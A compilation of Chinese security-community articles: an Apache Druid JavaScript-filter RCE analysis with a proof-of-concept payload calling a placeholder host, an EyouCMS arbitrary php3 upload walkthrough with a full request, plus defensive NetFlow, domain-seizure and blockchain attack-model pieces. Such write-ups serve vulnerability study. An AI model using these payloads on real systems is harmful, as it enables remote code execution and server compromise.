config变量原本应该由Druid重写的GuiceInjectableValues类控制，从配置文件中读取并传入，但是这里其实用户可控。在该类的toFilter方法获取到了由fuciton参数生成的JavaScriptPredicateFactory对象，这个对象是可以执行java代码的，在反序列化的过程中最终会调用。导致任意代码执行。
知道了漏洞原理，下一步分析一下如何触发漏洞。由于对druid框架也不是特别了解，因此无法做到完全从source往后分析，只能结合实际操作中的一些现象，以及下断点调试，猜测作者的漏洞利用思路
在druid中，load data模块有大量用户输入json的操作的地方，这个模块是用来向服务器上传数据的，选择example data
它会从云端加载一些示例数据，
点击next即可将数据粘贴到本地，接着配置下__time。
下一步的transform和filter则是漏洞触发的相关部分，快进到filter配置，因为我们的恶意类就是一个filter，如果该类能够反序列化，那么大概率是在这个步骤中实现
有部分filter的type可以选择，随便填写一下，此时点击next，同时F12抓包，可以看到向服务端query了这样一段数据
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "{\"isRobot\":true,\"channel\":\"#sv.wikipedia\",\"timestamp\":\"2016-06-27T00:00:11.080Z\",\"flags\":\"NB\",\"isUnpatrolled\":false,\"page\":\"Salo Toraut\",\"diffUrl\":\"https://sv.wikipedia.org/w/index.php?oldid=36099284&rcid=89369918\",\"added\":31,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":false,\"user\":\"Lsjbot\",\"deltaBucket\":0.0,\"deleted\":0,\"namespace\":\"Main\"}
"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": { },
"transformSpec": {
"transforms": [ ],
"filter": {
"type": "and",
"fields": [
{
"type": "selector",
"dimension": "123",
"value": ""
},
{
"type": "selector",
"dimension": "123",
"value": "123"
},
{
"type": "selector",
"dimension": "123",
"value": "123"
}
]
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
直接在源码中搜索filter类，发现它只是一个接口，没有相关实现，因此搜索其上一级`transformSpec`，从它的构造方法中可以看出该filter的处理类为DimFilter
@JsonCreator
public TransformSpec(
@JsonProperty("filter") final DimFilter filter,
@JsonProperty("transforms") final List<Transform> transforms
)
DimFilter类被添加了JsonTypeInfo和JsonSubTypes注解
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes(value = {
@JsonSubTypes.Type(name = "and", value = AndDimFilter.class),
@JsonSubTypes.Type(name = "or", value = OrDimFilter.class),
@JsonSubTypes.Type(name = "not", value = NotDimFilter.class),
@JsonSubTypes.Type(name = "selector", value = SelectorDimFilter.class),
@JsonSubTypes.Type(name = "columnComparison", value = ColumnComparisonDimFilter.class),
@JsonSubTypes.Type(name = "extraction", value = ExtractionDimFilter.class),
@JsonSubTypes.Type(name = "regex", value = RegexDimFilter.class),
@JsonSubTypes.Type(name = "search", value = SearchQueryDimFilter.class),
@JsonSubTypes.Type(name = "javascript", value = JavaScriptDimFilter.class),
@JsonSubTypes.Type(name = "spatial", value = SpatialDimFilter.class),
@JsonSubTypes.Type(name = "in", value = InDimFilter.class),
@JsonSubTypes.Type(name = "bound", value = BoundDimFilter.class),
@JsonSubTypes.Type(name = "interval", value = IntervalDimFilter.class),
@JsonSubTypes.Type(name = "like", value = LikeDimFilter.class),
@JsonSubTypes.Type(name = "expression", value = ExpressionDimFilter.class),
@JsonSubTypes.Type(name = "true", value = TrueDimFilter.class),
@JsonSubTypes.Type(name = "false", value = FalseDimFilter.class)
})
可以看到，name为javascript时，就会使用JavaScriptDimFilter类进行处理，因此只需修改之前json数据中的filter字段中的type为javascript即可，并构造相应的poc即可。再进入JavaScriptDimFilter中，观察其构造函数
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)
nullable的可以为空，其他三个参数，第一个没用，第二个为要执行的javascrpit代码，config为一个JavaScriptConfig
对象，只有一个布尔类型的参数
@JsonCreator
public JavaScriptConfig(
@JsonProperty("enabled") boolean enabled
)
因此构造filter字符串如下：
"filter": {
"type": "javascript",
"dimension": "123",
"function": "function(value) {new java.net.URL(\"IP\").openStream()}",
"": {
"enabled": true
}
}
## 参考及引用
<https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw>
<https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtg>
<https://zhuanlan.zhihu.com/p/348944507> | 社区文章 |
在本地搭设好环境,我这里将域名设置为eyoucms.cn：
登陆后台：按照如下图所示在附件设置中添加php3的后缀：
然后使用burpsuite发送下面数据包：
Burpsuite包：
GET /login.php?m=admin&c=Ueditor&a=downFileUpMd5&lang=cn&XDEBUG_SESSION_START=PHPSTORM&name=文件名.php3&type=application/x-zip-compressed&size=1 HTTP/1.1
Host: 域名
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=id值 ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=web%7CSystem
Connection: close
Content-Length: 18
需要传递的内容
在phpstorm中监听，看详细的流程：
跟进函数，获取传入的变量：
在第1045行获取允许传入的文件的后缀类型，这里php3是我们之前添加的后缀：
在第1116行，首先打开一个{$filePath}.part的文件：
第1152行读入我们输入的内容，这里是phpinfo();
第1164行写入内容：
传输完成后，进行重命名：
继续跟踪，直至burpsuite收到返回包：
在浏览器中，浏览器访问： | 社区文章 |
### 0x00 用户对用户活动
1. 描述:
虽然full-packet检测是安全架构很重要的一个部分，但是full-packet检测不是被设计成监控网络内部的所有主机间通信的流量。网络中捕获每个包的流量所产生的体积会严重消弱网络的效率和网络流量。这种情况迫使安全架构师限制网络内部“可见度”的深度。一些用户产生的流量，例如往外的互联网流量，会经过检查点。然而用户-用户的流量通常是有限的。
插图1
1. 解决方案:
NetFlow可以增加通过访问层的用户-用户的可见度，而且不影响网络性能。因为NetFlow的数据拼成一个flow的一小部分，这里有其路由到收集点进行分析而少得很多的性能开销。
增加用户对用户的可见度，对于了解恶意软件怎么通过网络传播尤为重要。基于行为的分析对于检测恶意软件相关联的流量patterns非常有用。
### 0x01 特殊的网络设备
1. 描述
Endpoint终端安全客户端可以运行在一些流行的桌面和服务器操作系统上。专业设备:例如多功能打印机、POS终端、ATM取款机以及物联网设备等，很少部署Endpoint终端安全客户端。这些系统上可能存在操作系统的所有类型的漏洞。同时嵌入式设备也可能包含一些有漏洞的软件例如web服务器等，这些都可能是你网络中薄弱的环节。没有了Endpoint终端安全客户端，这些网络设备将会变成另外一个网络中的黑暗地带。结果是黑客可以很容易的利用这些威胁入侵到你的组织。
插图2
1. 解决方案:
基于NetFlow的分析可以有效的使特殊网络设备增加”可见度”，而无需中断主要设备。使用异常流量检测方式可以解决这个问题。
### 0x02 加密流量
1. 描述
加密通信是另外一个在网络中的黑暗区域。越来越多的C&C服务器和被入侵的设备的指挥和控制进行加密，以避免被发现。面临的挑战是:你怎么发现不知道内容是什么的情况下发现加密流量中的威胁。
插图3
1. 解决方案
类似生活中电话的例子，它”不一定”知道你说写了什么，进而确定恶意活动正在进行。它是利用一些Meta信息来获取一些关联的数据来进行分析。具体元数据的可怕性可以参考Defcon
23上的议题《Applied Intelligence Using Information That's Not
There》。在网络的世界中的Meta信息就是源地址、目的地址、时间戳、传输的数据量、源端口、目的端口以及其他NetFlow中的信息点，进而可以标识出通信中的威胁而不需要知道内容。
真实的应用行为分析案例是，在一个典型的网络中，数据泄露可以使用基于异常行为的检测行动。通常，一个内部主机被作为基线通常只与内部服务器通信，但是突然开始与外部服务器传输大量的数据。这个时候就要引起注意了。
### 0x03 远程网络
1. 简介
因为跨网络办公地点的增加，安全相关的成本也迅速增加。你必须检测广域网的流量或者你必须在边界实现本地检测设备。即使在远程办公地点部署了边界检测，你可能依然面对有限的用户到用户的活动”可见度“。
1. 解决方案
通过使用WAN和中心收集节点的backhaule（回程链路），可以解决这个黑暗区域。一旦攻击者渗透到网络是，他们可能去横向渗透本地网络分段中的其他主机。如果没有NetFlow的可视化，管理员可能错过这个活动。
### 0x04 内部数据中心
1. 描述
为了解决大数据量的流量从东向西快速经过最深层的数据包检测设备，安全架构师通常把深度包检测部署在数据中心的边界上。数据中心可见度的问题就是获得一台主机上两台虚拟机之间的数据具有挑战。
2.解决方案
虚拟机可视化问题既然可以通过NetFlow来解决。大多数的现代的Hypervisors支持NetFlow流量监测。
### 0x05 参考
1. Advanced Threat Detection: Gain Network Visibility and Stop Malware
<https://www.lancope.com/sites/default/files/5-Dark-Places.pdf>
1. Cisco Cyber Threat Defense 2.0 Design Guide
<http://www.cisco.com/c/dam/en/us/td/docs/security/network_security/ctd/ctd2-0/design_guides/ctd_2-0_cvd_guide_jul15.pdf>
1. Defcon 23 Applied Intelligence_ Using Information That's Not There
<https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/Michael%20Schrenk%20-%20UPDATED/DEFCON-23-Michael-Schrenk-Applied-Intelligence-UPDATED.pdf>
1. WAN回程链路
<http://baike.sogou.com/v10974425.htm> | 社区文章 |
**作者：陆超逸 、刘保君、段海新（清华大学-奇安信集团联合研究中心）**
**来源公众号：网安国际：<https://mp.weixin.qq.com/s/IxXskW5r66Alyz9zFkCwCg>**
近期美国司法部查封了伊朗的一些媒体网站的域名，引起了许多关注和讨论。本文从技术角度分析了当前仍然不够成熟的“恶意”域名“查封”流程，涉及注册局/注册商、安全公司、政府等相关机构。本文只是技术讨论，其中的观点仅代表作者本人。
# 01 事件回顾
当地时间6月22日，美国宣布对36个伊朗媒体域名进行了“查封”（seizure），引发国际社会关注。据美国司法部网站公告[1]，被查封的域名包括伊朗英文电视台（presstv.com）、伊朗世界新闻卫视（alalamtv.net）等，理由是这些域名的持有机构“违反了美国的制裁措施”（“in
violation of U.S. sanctions”）并“传播针对美国的虚假消息”（“target the United States with
disinformation
campaigns”）。目前，访问上述网站将看到含有“此网站已被查封”字样的图片，并配有美国司法部联邦调查局和商务部产业安全局徽章（图1）。随后，伊朗媒体将域名presstv.com迁移至presstv.ir恢复了服务。
图1 被查封的域名presstv.com主页
此次事件并非主权国家第一次在互联网空间使用法律或行政手段“查封”其它国家机构/个人所持有的适用本国法律监管的域名。通常来说，涉及网络钓鱼、僵尸网络等滥用行为的域名会遭到全球各国监管部门的联合打击，某些国家也会依据本国法律及域名管理政策对所判定的“非法域名”进行无差别处置。此前美国执法部门已于2020年10月查封92个和伊朗伊斯兰革命卫队有关的域名，并称将继续“使用一切工具阻止伊朗政府滥用美国公司和社交网络进行政治宣传活动，秘密影响美国公众以及挑拨离间”（“use
all of our tools to stop the Iranian Government from misusing U.S. companies
and social media to spread propaganda covertly, to attempt to influence the
American public secretly, and to sow discord”）[2]。
# 02 事件技术性分析
为了分析出本次“查封”事件中的执行主体，我们有必要对域名注册过程进行简要介绍。
域名空间是一个层次结构的树形分布式数据库，它的顶层是DNS根，下面是1000余个顶级域（如.com、.net、.top和.cn等）。如图2所示，顶级域由互联网数字和地址分配机构（ICANN）授权，并由域名注册局（registry）进行管理和解析。例如，顶级域.com和.net的注册局为美国的Verisign公司。注册局将域名注册业务委托给分布于全球的域名注册商（registrar），例如阿里云和GoDaddy，由注册商向普通用户出售顶级域下的二级域名（例如baidu.com）。注册商和注册局各自维护所管辖域名的WHOIS数据，记录域名的注册人和负责其解析的权威服务器等信息。
图2 域名注册和管理机制
本次域名查封是美国执法部门要求域名注册局（registry）执行的，与注册商（registrar）无直接关系。根据安全公司披露的域名清单[3]，被查封的部分网站顶级域分布为：.tv（14个）、.com（11个）、.net（6个）、.org（2个）。管理上述顶级域的注册局为Verisign和PIR，二者均位于美国。注册局提供的WHOIS数据显示，在UTC时间6月22日14时左右，所有被查封域名的权威服务器被统一更改为亚马逊公司DNS服务器地址，如图3所示。
图3 注册局Verisign提供的presstv.com的WHOIS数据（部分）
在注册商层面，本次被查封的这批域名一共涉及20个注册商（包括7家非美国注册商），其中至少29个域名的注册商WHOIS数据仍维持原状，未被修改（图4）。因此，我们判断此次域名查封操作是由美国注册局批量执行的，和注册商的关系不大。
图4 注册商Instra提供的域名presstv.com的WHOIS数据（部分）
# 03 域名接管的现有实践
我们将“域名查封”等通过非常规方式导致域名状态发生变化的操作统称为“域名接管”。在本文的剩余部分，我们将讨论在什么样的条件下可以接管一个已注册的域名。
通常来说，注册商和注册局并没有权力主动地对其管辖的域名进行接管。2011年，美国注册局Verisign曾向ICANN寻求获取在无法院命令的情况下直接接管域名的权力，但该请求最终被驳回[4]。
根据公开资料，我们了解到有以下三种常见途径可以对已注册的域名进行接管：
1、 向域名注册机构（注册局/注册商）提起关于域名滥用（DNS
Abuse）的投诉。根据2020年全球48家大型域名注册机构达成的最新共识[5]，一旦某个域名经调查证实与恶意软件（malware）、僵尸网络（botnet）、钓鱼攻击（phishing）和网络诈骗（spam）相关，注册机构必须对整个域名进行关停（disable）处理。不过，对于其他存在争议的用途以及网页内容（例如版权纠纷、色情内容）是否属于域名滥用，仍未有明确的共识和规范。
域名注册机构可通过邮件或在线表单的方式接收关于域名滥用的投诉，在确认滥用投诉属实（例如属于上述共识中的恶意行为之一）或有注册机构所在地区法庭文件支持的情况下，通过此途径的投诉通常可以被接受并进行关停处理。
图5 注册商GoDaddy的域名滥用投诉页面受理类型包括恶意软件、钓鱼、欺诈等
2、通过域名仲裁启动统一快速中止程序（URS）[6]。该程序主要用于解决由商标权、域名抢注等原因产生的域名争议问题。投诉人需向域名争议解决中心等提供URS服务的机构提出申请，相关域名在仲裁期间将被锁定交易。当投诉人胜诉时，域名在剩余注册期内将被暂停使用并解析到URS信息页面（图6），直到域名被转让给投诉人。
图6 被统一快速中止程序（URS）暂停的域名
3、
通过法庭命令进行域名接管。ICANN于2012年5月发布的一份指导性文件[7]指出，在美国或其他政府管辖的区域内接管域名，需要由法院签发“扣押令”（seizure
warrant）或“限制令”（restraining
order），明确接管的原因和相关机构需采取的具体措施。在本次事件中，美国注册局Verisign正是依据美国法院的命令对伊朗媒体域名进行了查封。
近年来，在美国通过法庭命令接管本国注册机构管理的域名似乎已成为一种常见的司法实践。此前通过这一途径接管的案例包括极端组织域名[8]、数字货币交易所[9]和音乐网站[10]。值得注意的是，一些安全公司等非政府机构也可以向法院提起诉讼，进行域名的接管。例如，2012年微软通过法庭命令接管了域名3322.org（.org域名的注册局为美国的PIR）[11]；2020年微软联合其他安全公司接管了SolarWinds攻击事件中使用的域名[12]，理由均为域名被用于网络犯罪活动。英国国家网络安全中心NCSC在2019年也查封了17万多个恶意网站域名[14]。
# 04 争议与讨论
关于域名接管的流程和依据，虽然域名注册社区已经达成了部分共识，但对有些问题仍然存在较大的争议。目前，关于域名接管的具体流程仍然缺乏最佳实践。我们经过查阅公开资料并与技术专家进行讨论，对若干个安全社区可能关切的问题进行探讨，供同行参考。
1、 域名注册机构（注册局/注册商）会处理所有的域名接管请求吗？
不会。根据域名注册机构的普遍共识，如果有明确证据证明域名被滥用于僵尸网络等恶意行为，域名接管请求很可能被接受并处理。此外，注册机构由于受到所在国家或地区的监管，通常需要执行本国法院下达的命令。其他情况则可能取决于域名注册机构自身的评判标准。
2、 域名注册机构如何处理跨境法院发起的域名接管请求？
不确定。域名注册机构一般没有义务处理跨境法院发起的域名接管请求。这主要是由于不同地区的现行法律存在差异，跨境管辖容易引起争议。
3、 域名被美国政府“查封”后，还有恢复的可能性吗？
理论上有。通过法律途径接管域名存在上诉或抗诉途径。在本次事件中，美国政府对伊朗域名的查封遵循了美国对于“境外资产”的查封流程，被查封域名的持有者可以通过法律途径上诉。不过，最终是否能够恢复域名，取决于能否在法庭胜诉。
4、 “.com”域名被美国法院强行查封的风险是否永久存在？
不一定。本次事件中的域名被查封，主要是因为它们的顶级域（.com/.net等）由位于美国的注册局管理，因此需要执行美国法院下达的接管命令。实际上，域名顶级域的运行管理职责均由ICANN授权，遵守ICANN的共识政策及协议要求；注册局协议（Registry
Agreement，RA）有一定期限，到期需要续约并存在重新竞标的可能，任何符合资质的公司或机构均可以参与竞标。如果将来美国以外的其他公司通过竞标获得了.com顶级域的管理权，则可能不受美国的管辖。当然，Verisign对
.com的RA有优先续约权，这得益于该公司在过去维护.com顶级域期间没有发生过任何服务中断事件，因此获取了技术社区和域名注册人的信任。
5、 美国执法部门可以通过类似途径查封互联网上所有的域名吗？
不能。自从New
gTLD计划实施以来，互联网域名空间已有超过1000个通用顶级域被批准使用，其中约500个通用顶级域的注册局为非美国机构[13]，例如“.top”、“.online”、“.网址”等。大量位于其他国家的域名管理机构无需响应美国执法部门的域名查封命令。
6、 本次事件是否证明“美国完全控制着互联网域名系统”？
不能。在域名被查封后，伊朗媒体更换域名顶级域至伊朗国家域名.ir使得网站继续正常运转。如果美国政府 **完全**
控制着域名系统，那么它可以通过根服务器把presstv.ir域名也“查封”了。该事件恰恰说明，美国政府此次没有通过控制根服务器（或者做不到），让不喜欢的某个国家顶级域名解析出现问题。
7、 我需要把.com等域名换成美国管辖以外的其他顶级域域名吗？
如果你认为你的网站内容可能触犯美国法律，可以考虑把域名切换成其他国家注册局管理的顶级域名。但是，你的网站内容仍然受到该顶级域名注册局所在国家的管辖，比如，切换成.cn就必须接受中国法律的管辖。
8、 除美国之外，其它国家有可能“查封”.com域名么？
有。由于域名注册人是通过注册商来进行域名注册，也就意味着某国政府可不通过注册局、而是通过其管辖的当地注册商，来对判定违规的域名进行诸如“冻结”“接管”“转移”等处置。
附录：知名的域名接管事件
* 1.3322.org
3322.org是中国某公司运维的动态域名，曾经被用作Nitol僵尸网络的域名。为打击Nitol僵尸网络，微软公司获得法院许可，接管动态DNS服务提供商
3322.org 域名 （https://krebsonsecurity.com/2012/09/microsoft-disrupts-nitol-botnet-in-piracy-sweep/）
* 2.dajaz1.com
知名嘻哈网站因未获得音乐版权，被美国唱片业协会举报，美国联邦当局将域名临时查封，并于一年后将其归还（https://www.wired.com/2012/05/weak-evidence-seizure/）
* 3.libertyreserve.com
自由储备数据货币被广泛用于地下网络犯罪交易，网站创始人因涉嫌洗钱被西班牙政府逮捕，网站随后被关停（https://krebsonsecurity.com/2013/05/reports-liberty-reserve-founder-arrested-site-shuttered/）
* 4.Avalanche
“雪崩”分布式云主机被网络犯罪人员广泛用于托管恶意软件，发起网络钓鱼攻击。美国、英国和欧洲的联邦调查人员共同查封600余台服务器和80余万个网站域名。（https://krebsonsecurity.com/2016/12/avalanche-global-fraud-ring-dismantled/）
参考文献
[1] United States Seizes Websites Used by the Iranian Islamic Radio and
Television Union and Kata’ib Hizballah.
<https://www.justice.gov/opa/pr/united-states-seizes-websites-used-iranian-islamic-radio-and-television-union-and-kata-ib>
[2] United States Seizes Domain Names Used by Iran’s Islamic Revolutionary
Guard Corps. <https://www.justice.gov/opa/pr/united-states-seizes-domain-names-used-iran-s-islamic-revolutionary-guard-corps>
[3] 360 Netlab. 被拦截的伊朗域名的快速分析. <https://blog.netlab.360.com/analysis-of-seized-iran-domains/>
[4] Verisign Anti-Abuse Domain Use Policy.
<https://www.icann.org/en/system/files/files/verisign-com-net-name-request-10oct11-en.pdf>
[5] Framework to Address Abuse.
<https://dnsabuseframework.org/media/files/2020-05-29_DNSAbuseFramework.pdf>
[6] Uniform Rapid Suspension System (URS).
<https://newgtlds.icann.org/en/applicants/urs/procedure-01mar13-en.pdf>
[7] ICANN. Guidance for Preparing Domain Name Orders, Seizures & Takedowns.
<https://www.icann.org/en/system/files/files/guidance-domain-seizures-07mar12-en.pdf>
[8] <https://www.justice.gov/opa/press-release/file/1334551/download>
[9] Reports: Liberty Reserve Founder Arrested, Site Shuttered.
<https://krebsonsecurity.com/2013/05/reports-liberty-reserve-founder-arrested-site-shuttered/>
[10] Feds Seizes Hip-Hop Site for a Year, Waiting for Proof of Infringement.
<https://www.wired.com/2012/05/weak-evidence-seizure/>
[11] Microsoft seizes Chinese dot-org to kill Nitol bot army.
<https://www.theregister.com/2012/09/13/botnet_takedown/>
[12] Microsoft partnered with security firms to sinkhole the C2 used in
SolarWinds hack. <https://securityaffairs.co/wordpress/112342/apt/microsoft-seized-c2-solarwinds-hack.html>
[13] Registry Listings.
<https://www.icann.org/resources/pages/listing-2012-02-25-en>
[14] NCSC took down 177,335 phishing websites in the past one year:
<https://www.teiss.co.uk/ncsc-phishing-websites-action/>
* * * | 社区文章 |
# 针对区块链中三角攻击检测的跟踪分析
|
##### 译文声明
本文是翻译文章，文章原作者 Yingying Wang, Guoqiang Li，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/8859523>
译文仅供参考，具体内容表达以及含义原文为准。
区块链首先被提出作为比特币的基本结构。在实践中，它可能会被黑客牟取暴利或进行一些非法交易，因此，提出了有关如何检测这些潜在风险的问题。本文建立了区块链核心协议的模型，并采用了跟踪语义，即一系列动作，可以记录正在运行的协议可能达到的任何可能条件。另外，作为DDoS攻击在区块链上的一种应用，展示了三角攻击，并且可以通过与安全性的冲突来形式化和检测。此外，提出了一些防御三角攻击的建议。
## 0x01 Absert
自从首次出现比特币交易以来，区块链就吸引了许多兴趣并获得了巨大的动力。尽管关于比特币作为一种数字加密货币可能存在一些有争议的问题，但区块链已经适应了金融和非金融领域的许多领域。随后的数字货币，公平安全计算和PKI应用建立在区块链规范上。
甚至有人认为，像任何全新的信息技术一样，区块链一开始可能看起来是破坏性的，但它可以帮助开发包括去中心化模型和集中式模型的更大的生态系统，并建立现代计算规范。
区块链是一个公共分布式帐本，保留所有有效的交易并包括线性连接的块。最好将其描述为“由所有网络节点共享，由矿工更新，由每个人监视，并且不受任何人拥有和控制”的记录，其中节点都是互联网实体，例如计算机和移动设备。
设备和矿工是指那些可以通过计算能力验证交易的节点。最突出的特征是分散化，它不依赖中央机构来保护和验证每笔交易的有效性，因此消除了潜在的中间后台交易并防止了黑客入侵。通过区块链机制，所有矿工都收集并验证了无信任交易，这使得重复性几乎是不可能的。
区块链存储在每个节点上，并在分布式共识基础上运行。当新交易广播到网络时，所有矿工都需要对其进行验证。在双花攻击的情况下，即某人花了一次以上的资金（尤其是在数字货币中，因为可以复制电子代币），区块链通过工作证明（难题）方案解决了这一问题，即仅允许已解决问题并验证所有交易的节点创建要添加到区块链的新块。
由于可以通过挖掘区块链来获取利润，因此它已成为许多黑客的目标。发生了很多基于区块链的攻击。例如，随着量子计算的发展，可能发生身份盗窃攻击，这种情况发生在某人的所有资产被盗用之后，人们的所有资产都可能被偷窃而几乎无法恢复时，这种情况就可能发生，从而可以迅速破解密码密钥。
另外，由于区块链的匿名和分布式属性，可以将其转换为非法场所。 Silk
Road，作为一个在线黑市，是一个通过比特币交易所出售非法物品的平台。此外，当具有比其他节点更多的计算资源（即51％处理能力）的高级节点可以指挥所有交易并操纵新区块的产生时，可能会发生著名的51％攻击。
尽管自从创建第一个区块以来，在区块链中还没有发生51％的攻击，但是毫无疑问，这种风险确实存在，尤其是在小型网络中。
区块链可以成为黑客探索然后做一些邪恶事情的基础。在发生上述攻击的情况下，区块链安全协议（也称为中本聪共识）的设计变得至关重要，并且自提出以来就进行了探索和修改。为了帮助防止恶意侵害，已将许多形式主义应用于描述安全协议，并通过独特的自动和半自动技术进行了调查。这些技术主要基于过程计算，树自动机，高阶逻辑等。
为简单起见，在本文中，仅在有界会话上处理区块链协议，即以下提到的所有事物都被视为有限事物。采用模型检查方法来检测区块链的潜在攻击，即对于给定的安全属性，如果未检测到漏洞，则相关的区块链协议必须对该属性安全。
提出了基于环境的演算来描绘区块链协议的行为，演算采用了跟踪语义，因此区块链协议的每个潜在运行都可以作为具体的跟踪进行细化：
•提出了用于保密性的区块链核心协议规范，可以从协议描述中自动生成，从而为研究其安全性奠定了基础。
•分布式拒绝服务（DDoS）攻击显示在区块链场景中仍然存在，并且可能导致“三角攻击”。根据跟踪语义检测其相关的保密性。另外，建议采取一些避免这种攻击的措施。
DDoS攻击通常是由建立僵尸网络引起的，以防止对目标系统服务的合法访问。将DDoS攻击应用于区块链背景，并解释其随后的“三角攻击”，这可能导致节点认为交易已通过验证，而交易可能已丢失。相应的安全属性建立在区块链协议上，并在此处通过模型检查方法进行验证。
## 0x02 Triangle Attack on Blockchain
在本节中，非形式化地介绍三角攻击的发生方式。考虑这种情况，其中只有一个“network
gate”可以将交易分散到外部，如图1所示。A，B，C，D，E，F和H是区块链上的节点。下图描绘了网络拓扑结构，该结构用于通过路由实现广播功能。
假设A，B，C在本地网络中，而C是将在此区域发生的所有交易转移到外部的“gate”。如果A要在完成交易清单后将某些比特币转移给B进行某些商品交易，则它将该清单（上图中的tr：A→B）发送给B和C
偶然地，这时A和B“leave”了区块链网络，这可能存在于真实区块链网络中。这可能自愿或无意地的导致DDoS攻击。
因为在区块链协议中，新的交易广播不一定需要到达所有节点。只要它们到达许多节点，它们很快就会进入一个块。块广播也可以容忍丢失的消息。因此，节点C具有对该事务的绝对控制权。
如果C是恶意的，它可以隐藏该事务，即C不会将该事务传播到外部的其他节点。经过6个区块后，B返回到区块链网络。如果B仅复制丢失的区块而不是检查A发送的交易是否确实存在于区块链中并将货物交付给A，则B将遭受一些本应由A支付的金钱损失。请注意，如果C可以收听网络并找到B离开网络时的间隔时间。而且，即使这样，A也会与C勾结，欺骗B。而且，DDoS可以完全达到此目标，从而阻止B对区块链的访问。
## 三，Blockchain Core Protocol Model
### A.初步知识
在本节中给出一些正式定义，这些定义将在以后使用。提出了过程演算的以下原语，用于描述有界会话中的区块链协议。跟踪语义可以描述区块链协议的所有可能运行。
**定义1（消息）：**
表示三个不相交的可数集，V代表变量，B代表binder名称，L代表标签。令变量为x，y，z…；binder名称为m，n，k…，以及标签的范围a，b，c …
集合M中的消息M，N，L… 的指定迭代如下：
其中：
•pm来自不可分解的主消息集；
•m [pm1，…，pmn]是原子消息，具有从pm1到pmn的灵活参数；没有参数的称为名称。
•{M} L是具有纯消息M和加密密钥L的加密消息。
注意，像k [A，S]这样的绑定器显示为由主体A和S共享的对称密钥。主体A的公钥和私钥分别由+ k [A]和-k [A]表示。
还给出了流程的定义，该定义将用于引用区块链协议中每个主体的行为。
**定义2（过程）：** 令P，Q，R …在整个可计数过程范围内。进程的语法定义如下：
其中：
•0表示不执行任何操作的过程；
•a（x）.P通过通道a接收输入消息M，其行为类似于P {M / x}；
•aM.P通过信道a发送消息M，其行为类似于P；
•（ **new** x：A）P仅将名称x限制为集合A，在其他方面的作用类似于P；
•[M = N]P即如果M = N，则P的行为与P相同，否则拥塞，即，它无法进行任何转换；
•（νn）P表示n是P中的本地名称，其他进程只有在P发送出去后才知道n，（νn）用于捕获消息的新鲜度；
•对拆分语法显示，如果M是像（N，L）那样的对，则令（x，y）= P中的M将为P {N / x，L / y}，否则它将拥塞；
•P || Q表示进程P和Q同时运行；
•解密表明，如果M是加密的消息{N} L，L可以解密该消息，则{x} L的情况M的行为类似于P {N / x}，否则它被拥塞；
• _V eri_ _∗_ ( _M_ )与区块链中的验证操作有关，即，矿工使用它来验证交易的有效性；
•POW是指工作量证明，即扫描适当的随机数以使其满足加密散列函数，例如SHA256
；在区块链协议中，工作量证明主要是通过增加区块上的随机数直到找到目标值使其满足哈希要求来实现的；
• _Append_ （M）是指每个矿工在验证了该区块中的所有交易之后，需要将新产生的区块附加到其本地区块链中；
•P + Q充当P或Q，即，一旦其行为类似于P，则将不会作为Q执行。
**定义3（具体跟踪和配置）：**
动作是形式为a（M）或a¯M的术语。满足从其前缀操作中获得的每个输入消息的字符串，代表协议的可能运行。我们称其为具体跟踪，并使用来表示它。具体配置s
P由具体轨迹s和过程P组成。
具体的跟踪用于对区块链协议的行为进行建模。
定义4（具体过渡规则）。具体配置之间的转换规则定义如下。 s | — M表示M属于具体轨迹s上的输出操作中的那些消息，即msg（s）| —M。
这里的函数Opp用于在加密和解密中生成补充密钥，即Opp（+ k [A]）= -k [A]，Opp（-k [A]）= + k [A]。 _fresh_
N（V）是一个函数，它可以产生一个不会出现在V中的新名称（此处V是源配置的新名称集）。具体的过渡规则可以在下图中找到。
令−→*为−→的反和及物闭合。具体配置的可达性问题询问是否给定初始配置<s，P>和最终配置<s’，P’>，是否存在<s，P>-→∗ <s’，P’>，即<s
，P>可以达到<s’，P’>，其中s’是由<s，P>生成的具体轨迹。 P
ath是一系列连续配置。请注意，此处的跟踪可以跟踪进程的占用空间，这可以帮助分析协议的保密性。
### B.区块链核心协议表示
首先给出矿工在区块链中的正式表示，然后组成他们并构建区块链协议的表示。
在比特币转移交易场景中，矿工分为三种：发送者，接收者和一些验证者，即验证所收集交易的有效性的其他矿工。请注意，所有矿工都可以进行工作量证明并将交易路由到其邻居。
假设发送方A打算向接收方B发送一些比特币。请注意，这里我们只是忽略了有关比特币转换的一些更详细的信息，例如工作量证明的详细解析过程，梅克尔树的结构变化，在一个块上总结所有事务，并产生一个与它们相对应的统一哈希值，依此类推。仅描述核心区块链协议。
非形式化地，这些步骤概述了核心区块链协议：
